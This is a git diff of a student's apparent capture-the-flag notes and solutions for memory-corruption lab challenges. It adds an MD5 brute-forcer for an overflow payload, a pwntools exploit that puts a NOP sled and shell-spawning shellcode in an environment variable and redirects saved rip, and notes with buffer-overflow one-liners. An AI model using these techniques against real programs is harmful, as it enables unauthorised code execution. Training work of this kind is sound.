diff --git a/4.35/gen_hash.py b/4.35/gen_hash.py new file mode 100644 index 0000000..ffaa6d1 --- /dev/null +++ b/4.35/gen_hash.py @@ -0,0 +1,39 @@ +import string + +import hashlib + +letters = string.ascii_letters + string.digits +letters_len = len(letters) + + +def make_str(num, length): + s = "" + while len(s) < length: + s += letters[num % letters_len] + num = num // letters_len + + s = s[::-1] + return s + + +def get_hash(length, hash_start): + possibilities = letters_len**length + s, string_hash = "", "" + for num in range(0, possibilities): + s = make_str(num, length) + if num % 10 == 1: + print(s) + string_hash = hashlib.md5(s.encode()).digest().hex() + if string_hash[: len(hash_start)] == hash_start: + break + + hash = "" + for i in range(0, len(string_hash), 2): + hash = hash + "\\x" + string_hash[i : i + 2] + + return s, hash + + +buffer_len = 0x30 # 48 bytes +s, string_hash = get_hash(buffer_len, "00") +print("/challenge/run $'", s + string_hash, "'", sep="") diff --git a/4.39/soln.py b/4.39/soln.py new file mode 100644 index 0000000..9a0ce23 --- /dev/null +++ b/4.39/soln.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template /challenge/run +import os +from pwn import * + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or "/challenge/run") + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR + + +def start(argv=[], *a, **kw): + """Start the exploit against the target.""" + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = """ +tbreak main +continue +""".format( + **locals() +) + +# =========================================================== +# EXPLOIT GOES HERE +# =========================================================== +# Arch: amd64-64-little +# RELRO: No RELRO +# Stack: No canary found +# NX: NX unknown - GNU_STACK missing +# PIE: No PIE (0x400000) +# Stack: Executable +# RWX: Has RWX segments + + +# observed range of offsets from rsp to the target environment variable +# 0x2960, 0x24b0, 0x1a20, 0x1650, 0x1410, 0x1490 + +# NOP sled with comfortable room for error +sled_len = 0x5000 +nop_sled = "\x90" * sled_len + +shellcode = asm(shellcraft.sh()) + +payload = nop_sled + shellcode.decode("latin-1") +print("Payload length:", len(payload)) + +# place shellcode in environment to get around buffer limit +# os.environ["SHELLCODE_CMD"] = payload.decode('latin-1') +io = start(env={"SHELLCODE_CMD": payload}) + +# get rsp from program +io.recvuntil(b"pointer: ") +rsp_line = io.recvline()[:-1] +rsp_hex = int(rsp_line, 16) +print("Received rsp address:", rsp_line) + +# distance to saved rip location from the array's location - check using GDB +rip_index = b"13" +io.sendline(rip_index) + +# target shellcode +target_shellcode_sled = hex(rsp_hex + sled_len)[2:] +io.sendline(target_shellcode_sled.encode()) + +io.interactive() diff --git a/Dojo Notes.md b/Dojo Notes.md index fed57a1..62486e4 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -625,3 +625,99 @@ honestly idk just check class vid and script - went back to being same as .16 - idek + +### .32 - end of the rainbow + +- file access check done for program name, not argument +- executes the selected program with given argument +- buffer is copied to argument from argv only after the access check +- buffer overflow +- overflow the argument's buffer ('buffer') to overwrite the program name's buffer ('filename') +- `/challenge/run echo $(python3 -c 'print("a"*288+"/home/hacker/lint")')` + +### .33 - one character at a time + +- same, apparently some validation for program name length was added +- but we were already using the argument buffer + +### .34 - going with the flow + +- source given +- buffer overflow again +- overflow the input buffer to overwrite the variable that contains the target hash to contain the hash of our input + +```shell +pwndbg> b 56 +Breakpoint 1 at 0x40137d: file main.c, line 57. + +pwndbg> r blah +Starting program: /challenge/run blah +... +In file: /challenge/main.c + 52 } + 53 unsigned char* digest = md5sum(data_buffer); + 54 strcpy(checksum_0, digest); + 55 free(digest); + 56 + ► 57 if (!strcmp(checksum_0, checksum_1)) + 58 { + 59 puts("Awesome job!"); + 60 system("/bin/sh"); + 61 } + 62 else + +pwndbg> p &data_buffer +$1 = (char (*)[65]) 0x403540 + +pwndbg> p &checksum_1 +$2 = (char (*)[33]) 0x4035a0 +``` + +- gap b/w input data_buffer and checksum_1 is 0x60 - 96 bytes +- fill input buffer, pad the remaining bytes, then place the hash of the 64 bytes + +```python +from Crypto.Hash.MD5 import MD5Hash + +diff = 96 +input_str = "F" * 64 +padding = "U" * (diff - 64) +input_str_hash = MD5Hash(input_str.encode()).hexdigest() +payload = input_str + padding + input_str_hash +``` + +- boom + +### .35 - got hash? + +- buffer overflow +- overflow input buffer to set hash +- find a string whose hash starts with a null byte + +### .36 - tick tock you don't stop + +- simulates a TOCTOU? +- but attack is nothing: challenge just reads lines from a file and executes them as commands +- so just put `cat /flag` in a file and pass it + +### .37 - the password is + +- simple buffer overflow +- strncmp, but buffer locations are next to each other +- password in source itself +- `/challenge/run $(python3 -c 'print("F"*512,"aQWavHydcXmOzMDAF6b4")')` + +### .38 - hit me baby one more time + +- same as .36 +- but this time, memcmp instead of strcmp +- but the string gets null terminated forcefully +- so use the same hash, but replace the starting null byte `\x00` of the hash with anything else + +### .39 - flow direct + +- shellcode injection, rsp is given by program +- but buffer isn't big enough +- where else can we put it? +- one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled +- then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled